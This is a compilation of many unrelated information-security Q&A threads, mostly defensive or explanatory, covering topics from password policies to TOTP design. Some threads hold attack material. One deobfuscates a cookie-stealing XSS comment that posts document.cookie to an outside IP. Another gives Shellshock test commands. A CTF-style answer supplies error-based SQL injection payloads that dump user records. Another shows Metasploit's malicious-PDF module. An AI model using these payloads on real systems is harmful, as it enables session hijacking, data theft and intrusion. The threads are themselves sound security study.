How can a site know about insecure password? I received an email from my web host recently that informed me I had an "insecure" password on one of my email accounts and that I had to change it.

Their definition of what a secure password is as password that contains:

Mixed case - Always use a combination of uppercase and lowercase characters
Numbers - Always use a mixture of numbers and letters
Special Characters - At least one of the following special characters !"£$%^&*()-_=+{}#\@':;.>,<\|?
Length - Your password must be at least 8 characters long
Unique Characters - Your password must contain at least 4 unique characters

Whereas I follow the http://xkcd.com/936/ policy of a very long password (over 40 characters and 166bit of entropy (according to KeePass).

I am trying to think how they know what my password is (in order to tell me the digits it does not contain) without storing it in plain text.

The only "good" idea I have is that they have stored it encrypted and have decrypted it, analysed the plain text for "security", then deleted the plain text.  But then I don't like that idea much given how easy it would be to decrypt if the site was compromised and the encryption key presumably also taken.

My other idea was that when I entered my password and before salting and hashing it, they gathered some statistics of the type of characters it contained.  This seems unlikely and also a Bad Thing.

Any other ideas how they can do it?

John the ripper is a password brute force and dictionary cracking utility that has been used for many years to determine user passwords. Some companies and organizations use it to validate employees are using passwords that meet complexity requirements.

http://www.openwall.com/john/

They may well have used John and cracked your password.

They may also store it with reversible encryption, and have analyzed the plaintext of your password. This is bad practice and one I would caution you about; if they do this, they are not adhering to industry accepted practice in this area. Where else are they not following the preferred way of doing things?

They may indeed have gathered statistics when you entered it, and have now gone back and analyzed that data. This is rather unwieldy. More likely they would use a function or module or dictionary (e.g. pam_cracklib.so) when you first tried to create the passwd; the system would tell you it was insecure right then and there in most cases.

Hard to say exactly, but if they are coming back after the fact, it sounds suspicious.

Make sure it isn't a phishing email... don't click the links, go to the site directly by hand.


cross-over cable vs router for network with 2 computers? I want to connect 2 Windows home computers together for a server/client relationship; however, only the "client" computer should be connected to the internet.

"Server Computer" <----> "Client Computer" <----> INTERNET

I'm looking at the pros and cons of connecting the two computers using a cross-over cable verses a router in terms of (A) speed, and (B) security.

So far I've gathered that in terms of speed, cross-over cable is faster, but not by much.  In terms of security, I still have no clue.  Which method is more likely to keep internet viruses off the "server computer" in my network?  Which gives me more control over determining which programs on the client computer can talk with my server computer?

The first thing to say is that it isn't a choice between a cross-over cable and a router. The initial choice is between a cross-over cable and a switch. Most home/soho routers will contain a switch, typically 4 ports. More professional routers (e.g. the Ubiquiti EdgeRouter Lite) may only have 2 or 3 ports that have more independence than a typical low-cost switch/router.

The main issue, however, with your "architecture" is that you need 2 different network connections on the "client" computer. That could be wired and Wi-Fi or 2xwired.

One caveat before continuing: If the "client" computer is something like a fixed desktop with little use, then you could easily turn it into a dedicated router if it has two network ports.

Assuming you can do that, the next problem is how the client computer's operating system handles multiple network connections.

Typically, a Windows client (e.g. Windows 10) is not designed for this configuration and about all you can do natively is bridge the two connections. In that case, you are relying on the Windows firewall to protect your server, again it is not designed for this though it will probably do just fine. But the bigger problem is that, if your client computer is compromised, your server is likely to be as well - you can mitigate that by running an OS level firewall on the server.

Things are rather better if using Linux on the client computer since Linux OS's are generally very good at being servers and have a number of tools commonly available such as the IPTABLES firewall. You can also get tools to help with routing issues and many routers actually run Linux under the skin. You still have the additional vulnerabilities that come from using a client computer as a router though - namely that client computers are generally more exposed to dangers.

Routers are designed specifically for this purpose and therefore are likely to have better performance overall since you are not relying on the performance of the client computer. Client computer performance will vary greatly depending on what else you are running and it is generally hard (at least under Windows) to optimise for routing use. Routers will be doing less things and should be optimised for those tasks anyway.

Routers are also likely to give better security, they are not running so many tasks - every task you run adds to security risk as it adds to the potential number of security flaws open to attack.

Of course, there are rarely absolutes in the world of IT design and there are a lot of variables that we don't know about.

In general though, you are much better off with a router. It is likely to be more secure and also likely to have better overall performance or at least more consistent performance than a client computer.


Is it possible to construct a specific AES collision? Suppose I have a plaintext message P, and I encrypt it using key K to get ciphertext C.

It's trivial to find a different plaintext message P' and a key K' so that the encryption results in C: just decrypt C using K' to get P'.

But suppose that I have a specific P' that I'd like to encrypt, using any key, so that P' encrypted with the key will result in C. Is this feasible?

No. Not with the key alone.
If you have a known plaintext and a known cipher text then the problem of getting the key from that is known as a "known plaintext attack".
And any modern crypto system, including AES, is hardened against this. Several terabytes of plaintext/cipher text pairs will still not allow you to get at the key within reasonable time.
Further reading

https://en.wikipedia.org/wiki/Known-plaintext_attack
https://stackoverflow.com/questions/11716468/can-aes-be-cracked-with-enough-decrypted-data-why-or-why-not
https://crypto.stackexchange.com/questions/1512/why-is-aes-resistant-to-known-plaintext-attacks
Compute the AES-encryption key given the plaintext and its ciphertext?

However...
If you go beyond simply choosing an AES key and also allow choosing an AES Initialization Vector (IV) for an AES block mode, then, yes, you can do this. Easily. If your message is short enough. You only get one IV's length worth.
It's something of a hobby for one Ange Albertini. He likes to create "polyglot files" that can decoded/interpreted in more than one way.
He gave a talk about this in 2014:

Ange Albertini. 31c3. 2014-12-29, Funky File Formats


Is it possible to send cookies from third party server to browser using CORS UPDATED FROM THE LAST QUESTION WITH MORE DETAILS

I'm building a full javascript app from Salesforce.com API with no server side script that will be hosted on salesforce.com domain (https)

This app should be able to grant access to multiple files from salesforce.com to cloudfront using cloudfront signed cookies.

To do this, i've thought about building an aws lambda function exposed as a web-service from api gateway that will generate and return back the signed cookies in a HTTP Response Header to the js app.

Then, the salesforce js app should be able to call this function to fetch the signed cookies and redirect the user to the private content url on cloudfront.

So far, i've built a s3 bucket + a cloudfront distibution + lambda function linked to a api gateway.
But i'm unable to make them work together and set the signed cookies on the browser because of cookies same origin policy :

The function that generates the cookie is hosted on amazonws.com
(Lambda function)
The function that call the amazonws.com function is hosted on
salesforce.com
salesforce.com makes a XHR request using CORS to amazonws.com to get required cookies.
For each returned cookie, amazonws.com set the attributes below:

domain=cloudfront.net; path=/; secure; httpOnly

I successfully fetch the cookies on the client side (salesforce.com) from server side (amazonws.com) by reading the XHR HTTP Response header .

But (and this is where i've spent the last 24 hours), the cookies are not set in the cookie store of the browser on salesforce.com. Which means they are not available for requesting resources to cloudfront.net.

Do you think that could work if my aws lambda function was on the same domain as cloudfront.net to serve a cookie with domain=cloudfront.net :

awmazonws.com/myfunction would become cloudfront.net/myfunction

Or is there any other way to do this?

Thanks a lot for your support!

The domain attribute of for a cookie cannot be set to arbitrary domains. While foo.example.com could set a cookie to example.com it could not set a cookie to example.org since this is an unrelated domain. From MDN:Set-Cookie: Invalid Domains:

  A cookie belonging to a domain that does not include the origin server should be rejected by the user agent.

As for how to achieve what you want: it is not clear what you want to achieve in the first place. Cookies for cloudfront.com should only be given by  cloudfront.com server. Maybe you are trying to do something with cookies were cookies where never designed for.


Metasploit INFILENAME I am learning *MSF on Kali but I ran into a problem.

I am trying a simple adobe_pdf_embedded_exe and when I set INFILENAME to something simple such as nutrition.pdf it cannot find the file, so obviously I need a path, right?

So I tried to set INFILENAME (directory).  This indeed worked and let the process complete but when I type show options, it shows /root/downloads/nutrition.pdf as the INFILENAME.

I am confused how to set infilename and filename to nutrition.pdf without it showing the path in the show options.  The guide I am following doesn't show how to set the path to the original PDF you want to target.

With the module loaded, type info at the console prompt. You'll see what it expects. The INFILENAME is the path with the existing PDF to use and the FILENAME is the filename to export the malicious PDF as.

msf exploit(adobe_pdf_embedded_exe) > info

       Name: Adobe PDF Embedded EXE Social Engineering
     Module: exploit/windows/fileformat/adobe_pdf_embedded_exe
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-29

Provided by:
  Colin Ames <amesc@attackresearch.com>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)

Basic options:
  Name            Current Setting                                                                                Required  Description
  ----            ---------------                                                                                --------  -----------
  EXENAME                                                                                no        The Name of payload exe.
  FILENAME        evil.pdf                                                                                no        The output filename.
  INFILENAME      /pentest/exploitation/metasploit/data/exploits/CVE-2010-1240/template.pdf                           yes       The Input PDF filename.
  LAUNCH_MESSAGE  To view the encrypted content please tick the "Do not show this message again" box and press Open.  no        The message to display in the File: area

Payload information:
  Space: 2048

Description:
  This module embeds a Metasploit payload into an existing PDF file.
  The resulting PDF can be sent to a target as part of a social
  engineering attack.

References:
  http://cvedetails.com/cve/2010-1240/
  http://www.osvdb.org/63667
  http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/
  http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/
  http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
  http://www.adobe.com/support/security/bulletins/apsb10-15.html


Java command execution without Runtime.exec I'm trying to find all the ways one could execute commands in java.
The goal is to make a keyword list for blacklists in static code analysis tools and filters.

So far I've only found Runtime.exec() which seems incorrect since there has to be another way without using libraries.

Java as a platform, and the developers attracted to this platform, are both naive. Shells are extremely common in the Java ecosystem, and especially web applications. The most common ways that I shell Java Apps are as follows(not ordered):

Deserialization  (Too easy, jboss you are too kind :)
Insecure File IO (NULL byte injection still works :)
archive directory traversal (why is this default?)
template injection (Everywhere, every language)
Using the admin panel to upload a war (Default creds ftw)
Creative XXE chains (Why is XXE still the default? What year is it??)


Attack scenarios of the new Bash vulnerability Odds are that you're already aware of the newly discovered Bash bug. It can be tested using env x='() { :;}; echo vulnerable'  bash -c "echo this is a test".

What yet I haven't understand is, what are the real attack scenarios of this vulnerability. I have read that most likely it's going to be HTTP requests, but how?

The easiest way to test a web server via HTTP request is to inject the bash command through the user agent. Example:

$ wget -U '() { :;}; /bin/bash -c "echo vulnerable"' http://example.com/some-cgi-script

If a 5XX server error is generated, it means that the server is probably vulnerable to an exploit. For possible attack scenarios, please refer to this answer

Please test this on your own servers - trying this on other people's servers may get you in trouble.


I found obfuscated code in a comment on my blog. What should I do? Today I was checking comments on my blog and I found a strange comment, here is the exact text

<script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{cookie:document[_0x352a[1]]},function (){} ,_0x352a[2]);</script>

What does it mean? Is it a mistake?

Note that I had big XSS issue last summer but a security expert fixed it. Today I contacted him and he said it's okay and that I should not worry. But I am worried.

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage.

Running that code through a deobfuscator gives us

$["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html")

Now we just "beatify" the code to make it more readable

$["post"]("114.45.217.33/vlk.php", {
    cookie: document["cookie"]
}, function () {}, "html")

As you can see, the attacker was hoping that your site is vulnerable to XSS to exploit it and steal your visitor's cookies including yours. He's also assuming/hoping that you're using jQuery, and it's actually a very reasonable assumption these days. If they manage to steal your cookies, then they'll get the session identifier and potentially log in as one of your users or even your administrator account.

I'm not sure why he left the callback function there or the response type, though. Removing them would have made the payload even smaller.

Running that IP address through a blacklist checking tool shows us that the host there is likely to be compromised. This sure looks like a random attack by a bot trying to insert that code into random blogs and sites in the hopes that one of them would be vulnerable.


Why ask for username/password after a successful password reset? I have very, very rarely gone to a site solely to reset my password. Why then, after going through a password reset process, does the conclusion of the process ask me to login again with the new password?

What is gained by this, instead of just passing me along to the "you have successfully logged in" portion of the site, once I have successfully changed the password?

I have seen this pattern used in quite a few well known sites, so I assume there must be some good reason for it.

It's safer to avoid handing out a session token on a successful reset. It also helps reinforce the new password to the user or makes the user's password manager more likely to detect the update. The part of the code that handles locked out users should be totally independent of the part that authenticates them.


Certificate authority has changed for personal website - but I haven't changed anything? I have the Certificate Patrol addon (website) installed in Firefox. While I mostly ignore the (far too many) warnings, today I saw that the certificate authority for my personal website has changed. This certificate is created by myself, self signed, and I didn't change anything for the past month or two.

I made a screenshot of the warning, and see two different SHA1 fingerprints. MD5 fingerprint changed from - to undefined. Organization name (O) changed as well from unknown to the name I gave it. I didn't click the "view certificate" buttons for both websites, and regret that now.

What does this mean? Can I trust the certificate?
How can I check that my certificate is still valid, created by me, not changed by someone or something else?
Should I recreate it?

What does this mean?

The certificate changed, as shown by the different SHA1 hashes. The MD5 hash field is no longer relevant as Firefox deprecated them.

  Can I trust the certificate?

No, if it changed without the admin (ie. your) intervention, you should be highly suspicious.

  How can I check that my certificate is still valid, created by me, not changed by someone or something else?

You should compare the new certificate with the copy/hash you kept locally when creating it. Because you wrote it down, right?

  Should I recreate it?

Not necessarily. If your certificate were compromised, it wouldn't have been detectable. OTOH, if you're not sure which certificate you created, generating a new one would be appropiate.

.

Although this shows that there was a man-in-the-middle attack on you/your website, probably the new (forged) certificate was generated by a captive portal or even your router, and not someone targetting you at the network level.


What expertise is required to create an Windows intrusion report? I need an expert on a subject I know very little. I had a breach on one of my Windows systems. I know how someone got in but for legal purposes I need to prove that some former employee, whom I suspect, got in and erased many personal and system files.

I took a quick look at the windows event log and I see someone logging in at the time of the intrusion. I need an expert advice, but I have no idea what to look for in a person for this sort of task.

Any advice?

(windows 7 x64)

Since you mention you need to prove intrusion for legal purposes then it sounds like you may need to check into a certified computer forensics investigator.  Hopefully the system is turned off (to avoid damaging evidence) until you decide whether or not to pursue forensics.

Here are a couple of links that might be helpful:

http://en.wikipedia.org/wiki/Computer_forensics

http://www.computerforensicscompanies.com/


How to write a rock solid TOTP implementation? I am currently writing a TOTP implementation in PHP (but this applies to other languages as well) and of course want it to be as secure as possible, what should be considered?

After reading the relevant RFC 6238 and RFC 4226 my implementation currently looks like this:

Every single used code is blacklisted for 2 minutes, independent of whether it was successful or not
The secret is generated by a secure random number generator
The QR code is generated on my machine and not handed over to third party providers
Entering a reCaptcha is required in order to prevent brute force attacks
Codes are validated using a timing attack resistant comparison function
A total of 5 codes are checked (the current, the last two and the next two)
A single 16-character rescue code is generated (by a secure random number generator) and only shown once after successful activation, it cannot be retrieved by the user afterwards
Users are asked only once every seven days on a known machine (by setting a cookie)
Secrets and Rescue codes are stored unencrypted in the database, but this should not be an issue as the script needs to decrypt it anyway

Am I missing some important? Are some of the points a bad decision?

One may argue that unencrypted secrets, stored "as is" in the database, may be an easy prey to SQL injection attacks. Though conceptually the secrets are anyway accessible from the running server, it may be worthwhile to protect them a bit more, so that attackers will have to go beyond the "custom SQL" stage. For instance, instead of storing the secret S and the rescue code C for each user in the database, store for each user a random value R, and compute the secret S and rescue code C with HMAC over R, using a server-wide secret key stored in a configuration file, not in the database. Use HMAC/SHA-1 over "secret||R" (concatenation of the ASCII string "secret" and the random value R) to get the actual user secret S; for the rescue code, use HMAC/SHA-1 over "rescue||R".

Other people may argue that PHP is not the best language for cryptography. In fact, high-level languages are ill-suited for things like "constant-time comparison functions". To get some real control over implementation issues (all side-channel leaks, including timing), a lower-level language is advisable (even C# or Java would be "lower-level" in that sense).

Blacklisting all submitted codes may increase vulnerability to DoS; someone may spam you with lots of requests so as to make your server remember lots of blacklisted codes. Similarly, your description does not seem to include prevention measures again such heavy spamming. You may want to, at least, refuse to talk to IP addresses which have sent you more than ten requests in the last ten seconds or so.

Implementing cryptography properly is difficult; doing it again means taking extra risks of implementation-related issues. Doing your own code is great pedagogy; but if you want to use the code in production, then maybe you should first try to see if there is no existing implementation which already fits your bill.


How will microvirtualisation change the security field, if at all? Will this reduce the number of exploitable vulnerabilities in common operating systems? Will the only path in be to exploit the VM itself?
Marketing blurb from Bromium's website below.

  ... transforms information and infrastructure protection with a revolutionary new architecture that isolates and defeats advanced threats targeting the corporate endpoint through web, email and documents. vSentry protects desktops without requiring patches or updates, defeating and automatically discarding malware, and eliminating costly remediation.

  ... uses hardware level isolation to stop even “undetectable” attacks without disrupting the user.

  ... built on ... a security-focused hypervisor that automatically, instantly and invisibly hardware-isolates each vulnerable Windows task in a micro-VM that cannot modify Windows or gain access to enterprise data or network infrastructure.

Isolating the browser in a specific jail that it cannot escape is meant to contain damage: if the browser is hijacked, at least the attacker will not obtain immediate access to the rest of the machine. However, whoever hijacks a Web browser can do everything that the Web browser normally does, including accessing your Web secrets (cookies, stored passwords), grabbing everything you type in the browser (including passwords on Web sites), and contacting arbitrary external servers. Everything you do through the browser is then at risk, and, nowadays, this is probably most of what you do at all with your computer.

In other words, the sandbox provided by Bromium protects everything, except that which is essential. It is not bad, at least conceptually, but it would be a mistake to believe that it makes everything safe.

The best that Bromium can achieve is the software equivalent of having a specific, dedicated, air-gapped machine for Web browsing -- and that's assuming that the isolation layer is "perfect", which is a bold claim. Also, this is inconvenient: when you browse the Web, you sometimes want to, e.g., save files locally and then use them. A useful jail necessarily includes some doors, which are, inherently, ways to escape the jail.

As a corollary, this will not change much the security industry.


Exploiting MD5/Salt Vulnerability in this PHP form? I've been practicing security-related subjects and this challenge has befuddled me.
Note: I can't access any PHP source code, nor can I edit it. I'm only able to view it.

The following is given:

I have two inputs, "user" and "pass"
After 30 times the form is sent, the salt, the hashes and the final solution change. So bruteforce isn't an option (sadly!)
@The bottom of the page (not shown in the code for some reason), it echos that it found 9 users (calling the getnumberofusers() function)

I've managed to extract this:

username = root

hashed password = 551e18b35e17017742a8ce4ed27f626e

Token (possibly salt?) = 0St31ez14wOT6jTh

What I've attempted thus far with unsuccessful results:

Using SQL injection, select a known MD5 collision as password and send its counterpart as "pass", however the salt is bothering this process. Clearly I couldn't bruteforce this because after 30 attempts the salt would change.

I tried finding the entire list of users but it doesn't print the output anywhere (only errors)

This is the code we receive:

<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id

#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.

function getnumberofusers()
{
    $q = "SELECT 1 FROM `sqlinjection1`";
    $r = mysql_query($q);
    return 'Number of users: '  . mysql_num_rows($r);
}

function getinfo($user)
{
    $q = "SELECT `id`, `password` FROM `sqlinjection1` WHERE `username`='$user'";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "Username doesn't exists.";
    return $r;
}

function getfullinfo($id)
{
    $q = "SELECT * FROM `sqlinjection1` WHERE `id`=$id";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "What the hell?!";
    return $r;
}

function confirmpassword($pass, $passcorrect, $salt)
{
    $pass = md5(md5(md5($pass)).$salt);
    return $pass===$passcorrect;
}

function challenge($user, $pass)
{
    $info = getinfo($user);
    if(!is_array($info))
        return $info;
    $confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
    if(!$confirm)
        return 'Wrong password!';
    $info = getfullinfo($info['id']);
    if(!is_array($info))
        return $info;
    $returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
    $info['welcomemessage'] . PHP_EOL;
    return $returnmessage;
}

?>

Any help is appreciated, and if you have any questions I'd love to clarify my question!

From source code we can see that sqlinjection1 has four known columns username,password,welcomemessage,id.

As people pointed in commnets,We can use error based Sql injection to get the usernames,passwords,welcomemessage,id etc.

Post below parameters in sqli

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a))  or '1'='1

$pass=something

The error printed is

'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;

So username=user1,password=pass1,welcomemessage=secret message and id=1

Now we can get list of next user using

$user=1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a))  or '1'='1

$pass=something

Similarly for other users change the where clause and execute..

We can select single column for a single user as well simply using

$user=1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a))  or '1'='1


What does this suspicious activity in my log suggest? I found following log lines on my asterisk program (VoIP) running on debian Jessie server 3.4.112 for arm

[2016-12-25 01:58:52] NOTICE[12054] res_pjsip/pjsip_distributor.c:
Request 'INVITE' from '"800" <sip:800@46.12.48.90>' failed for
'185.40.4.182:5074' (callid: b4d0d997a0a7d532f0f413fb4973271b) - No
matching endpoint found
[2016-12-25 01:59:09] NOTICE[12054] res_pjsip/pjsip_distributor.c:
Request 'INVITE' from '"1000" <sip:1000@46.12.48.90>' failed for
'155.94.64.245:5071' (callid: 77cc719fd0a16aa3993cc1c703755574) - No
matching endpoint found
[2016-12-25 02:00:27] NOTICE[12054] res_pjsip/pjsip_distributor.c:
Request 'INVITE' from '"1001" <sip:1001@46.12.48.90>' failed for
'155.94.64.245:5071' (callid: 97dfdeff0d2178aae0b239e57dfabec2) - No
matching endpoint found
[2016-12-25 02:00:30] NOTICE[12054] res_pjsip/pjsip_distributor.c:
Request 'INVITE' from '"1001" <sip:1001@46.12.48.90>' failed for
'155.94.64.245:5070' (callid: 0bcb73b38cbf914f6e50da5c39abadd1) - No
matching endpoint found

It seems like some random ips are scanning my network. Where are they coming from? Are they bots of some kind or attackers?

Yes, it is likely to be a bot scanning your network - probably looking for vulnerable versions of Asterisk running exposed to the Internet.

You might want to implement fail2ban or something similar in order to auto-ban such IP addresses. Better still, if you know where your Asterisk connections will be coming from, just whitelist those and block everywhere else.


To build a rainbow table, how to decide size of chain and number of lines? To be sure I well understood the Rainbow Tables, I've decided to make a little project in Java, but I"m stuck on a question : how to choose the size of the chain ? And this will give the number of lines to get a good percentage of coverage

Imagine I use password size =6 and space 0123456789, the possibilities are 1 000 000 (size and space are low because it's easier to train on and debug, on a big space it would be harder, I wait to have something that work to try on bigger)

How do I choose between :

4000 chains of size 250
1000 chains of 1000
400 chains of size 2500
...

I'm using sha1 to hash, and to reduce I take the 6 first digits and add an index value (comes from the chain's loop)

public static String reduce(String hash, BigInteger spaceSize, int passSize, int indexFunction) {
    int v = BigInteger.valueOf((Long.parseLong(hash.replaceAll("\\D", "").substring(0, passSize), 10) + indexFunction)).mod(spaceSize).intValueExact();
    DecimalFormat format = new DecimalFormat("000000");
    return format.format(v);
}

The choice of chain size,t, effects the storage size and look up time. At the and you have to calculate the 1000000 chain element.

4000 chains of size 250; 8000 storage size of the hash result, sorting 4000 elements, lookup time at most 250 chain time and 250*log_2(4000) search time.
1000 chains of size 1000; 2000 storage size of the hash result, sorting 1000 elements;  lookup time at most 1000 chain time and 1000*log_2(1000) search time.
400 chains of size 2500; 800 storage size of the hash result, sorting 400 elements; lookup time at most 2500 chain time and 2500*log_2(400) search time.

Use can use this site to calculate the parameters.


Detect and optionally block a certain string in network traffic on Windows 10 Suppose I have some important text data on my computer, like a plain text password y5278dhk28ds and I have malware on my PC that periodically searches for sensitive data and sends that data to anothersite.com. I want to block the transfer of this sensitive data.

I'm searching a simple to use packet sniffer which I would run in Windows 10 (also using external script such as PHP, Python, Perl..) which should be able to

detect if the password y5278dhk28ds is exiting (unencrypted) from my
computer to my network (ethernet) and report where it is going (ip address, URL)
possibility/option to automatically block this traffic from my computer if I do not recognize the remote address.

Does exist something to do these tasks in an easy way? Or where I can find a guide to do these tasks?

If you assume that your computer has malware, then there is no way to keep yourself safe except for nuking everything from orbit, rolling over all your passwords and using Hardware-backed 2FA wherever possible.

Staying "safe" on a system you consider compromised is not possible.


(spp_sdf) SDF Combination Alerts in Snort I'm testing Snort in IDS mode and have been receiving a few (spp_sdf) SDF Combination Alerts as below. Seems like it happens when I visit certain but not all https sites.

Tried to google this alert but haven't had much success on what it means.
Can this type of alert be ignored by adding it into suppression rules?
Is this one of those false positives?

As far as I know, I'm not sending any sensitive data other than having a couple of secure sites left open logged on. Would that have been caused these alerts?

This is when Snort detect some kind of sensitive data (email or social security number).

  The Sensitive Data preprocessor is a Snort module that performs detection and filtering of Personally Identifiable Information (PII). This information includes credit card numbers, U.S. Social Security numbers, and email addresses. A limited regular expression syntax is also included for defining your own PII.

http://manual.snort.org/node17.html#SECTION003217000000000000000


wifi devices connected even if they give a wrong password, how can i use this vulnerability I have an access point that subscribes in the list of connected devices all the devices that try to connect to it, even if they give a wrong password.

The device does not give them an IP address but they are saved as valid devices using their MAC address.

I reported it in my work as a critical security issue but I don't know how to defend my opinion. Can anyone tell me the possible ways to exploit this vulnerability or other tests to do to verify the validity of my work?

For Example, is there a message in the 802.11 standard that broadcasts valuable information to connected devices that the malicious devices can sniff.

Sorry to burst your bubble, but you didn't discover any security issue. MAC addresses are a little lower that where WiFi encryption happens. Any device, connected or not, can sniff any and all of the MAC addresses of the devices that use WiFi around it.

What you see on the access point's logs (the MAC address) is a piece of information that anybody can acquire. Devices let the AP know about their MAC addresses before they're actually connected to it.


Is there any chance for me in Information Security field? I am third-year-student majoring Business administration. However after come to university, I found that I am very interested in Information security and want to pursue this field after graduating. Is there any chance for me? I also want to take part in the undergraduate program of a university in U.S. Is it possible?

Absolutely, You can,
IT field including InfoSec mostly care about your knowledge,  understanding, and willingness to keep learning and act upon it,
All most all IT companies looking for the passionate people instead of your paper qualification. in-fact they understand fresh graduates know nothing about the industry,
Here what I'm suggesting,

Work on Side projects while you are doing your BA Degree.
Assuming you have at least a little IT background, you'll need to work o
projects that give you visibility in the path you are willing to follow.

Contribute to Open-Source Projects.

Start from the basics, what can I do for Mozilla -> https://whatcanidoformozilla.org , https://github.com/explore check what are the project you can contribute, doesn't matter it's localization, add a fewer line of space in first.even that will helpful for someone in the world.

Start your own projects,

Doesn't Matter it's basic C program, or forked PHP GitHub project at first , keep work on it until you are familiar with stuff, then you'll figure out your own way occasionally. also, check for open-source InfoSec tools and try to contribute it with Testing, commenting, if possible with feature suggestions and developments,

IT Security-Based Certification.

While you are undergraduate,try to do some certification which gives you visibility and understanding, C|EH, Comptia++ , CISSP (try not to mix everything over your interest), first read about every possible ones and understand what you want to do, most people will disagree with me here, because certifications are not really getting into place where you want to be with knowledge , but for the visibility I believe that's something you'll value, (take these certifications as your ticket to company interviews)

Network with Right People.

Most important thing, Connect with the like-minded and attend to meetups and events where Techies gather, sites such as meetup.com are the places you can find related meetups near you.work with communities Mozilla Campus Clubs (maybe you can start one if your university: https://campus.mozilla.community/ )  , Bsides - http://www.securitybsides.com/ , https://www.owasp.org ( you can also engage or initiate OWASP student Chapter: https://www.owasp.org/index.php/OWASP_Student_Chapters_Program. .
Work with the people that engage with certain activities, contribute to projects, read stuff related to infoSec, be an update, test your abilities with demonstration framework, talk to industrial people from the certain organization and ask them what requirement you need to fulfill.

Doing BA won't be a big problem to work in InfoSec field unless you let it be, working in the right way you can make your BA as extra advantage gets into the field.

for the last part in your question I also want to take part in the undergraduate program of a university in U.S. Is it possible?
I'm sorry I'm not the right person to answer it since I have less understanding about it. but I think that won't be a issue.


RatticDB for passwords is not encrypted. Is this good approach? I am looking for a password application for storing passwords, and RatticDB have a web interface and SSH access is planned, which are exactly the features I am looking for. However, they write that they don't encrypt the database.

  When designing RatticDB we made some very specific design decisions.
  We didn't include encryption in the application at all. Encryption is
  not easy to do right, increses complexity and the application needs to
  be able to decrypt the passwords somehow anyway. We do recomend that
  you install it in such a way that the database is on an encrypted
  filesystem.

An encrypted file system doesn't really protect the database when the Linux host is running, so the passwords will be in clear text as long at the host is up.

Question:
Is this really a secure way to handle passwords?

RatticDB is a password manager; it must, by definition, be able to return the raw passwords themselves. From the outside, the role of the password manager is to store the passwords and show them only to duly authenticated entities, so that the stored passwords may be used with third-party systems which are completely unaware of how the passwords are remembered by users.

Encryption is a mechanism which can be used to ensure data confidentiality within certain conditions. In the case of a password management database, the use or non-use of encryption makes a difference only with regards to partial breaches by attacker. Since RatticDB must be able to produce the stored passwords on demand by the right user, a complete hijack of the machine necessarily allows the attacker to obtain all passwords, regardless of encryption. However, if a backup file for the database component is stolen, then encryption matters: if the data was encrypted with a key that was not stolen, then the breach does not reveal the passwords.

From an engineering point of view, RatticDB's stance is understandable: as an application-level piece of code, it may consider that database encryption is best dealt with at the database level, out of the scope of RatticDB itself. Indeed, whether encryption brings benefits or not depends on contextual characteristics such as the local backup policies. A comprehensive database encryption system would be TDE (as implemented by Oracle and Microsoft SQL Server), which is done on the database, regardless of the application.

Another model where encryption could be applied, and would become relevant, would be a password manager which stores only encrypted passwords that the manager cannot decrypt. In a way, this is how most "password wallet" applications work, when included in your browser (e.g. KeePass): data is ultimately encrypted with regards to some user secret (e.g. a "master password") and decrypted right on the user's machine, even if the encrypted passwords are physically stored in another machine. This sort of thing can work only if the client system (the one closest to the human user) is able to do decryption, something which is not a given in a Web context (basically, it needs a browser extension). RatticDB appears to follow another model, which supports dumb clients (Web browsers with no extension).


Can YouTube thumbnails contain exploits? I know that YouTube videos are processed by Google in order to prevent them from having any malware in them. But I was wondering, are image thumbnails processed in any way to prevent them, or at least, make it less likely that they contain browser or library exploits?

Because I believe that this would be possible, but I don't know if they do it or not. If they can process the videos, then they should be able to process the images too.

They can, but it is VERY unlikely.

Since both Youtube videos and images go tru multiple stages of cutting, converting to other formats etc. it's very unlikely that your exploit would be kept in such environment. Best it could do is hijack one of Google's converters where it would probably easily raise some red flags on intrusion detection systems.

Even assuming your exploit would be able to survive such changes (which is basically impossible), then it would be subjected to many different OSes, web-browsers etc. It is very likely that many of configurations would detect something bad with your image, so most systems wouldn't play this video/wouldn't display this image, possibly even detect that exploit (because antiviruses, incompatible OS, EMET etc.). This again would raise some red flags, most likely before that video was seen by many people. And your impossible exploit would be ruined.

And that's exactly why most exploits are kept for valuable targets - it's very easy for them to be found in so diverse environment that Internet certainly is. And then they quickly become useless, because most of users who were vulnerable quickly update.


Javascript: remove sensitive data from memory As stated in this article

  JavaScript values are allocated when things (objects, strings, etc.)
  are created and "automatically" freed when they are not used anymore.

I recently took a heap snapshot of my browser after clicking trough the browser version of 1password.
To my surprise the passwords of every opened item were clearly readable in that snapshot.

I did not investigate a lot further in how it actually stores this data but I assume they use a separate object for every item and retrieve the cleartext password on the first time it's opened and leave it at that.

I'd like to know if there is a way to prevent this kind of behaviour (in my own apps) by handling data in a different way.
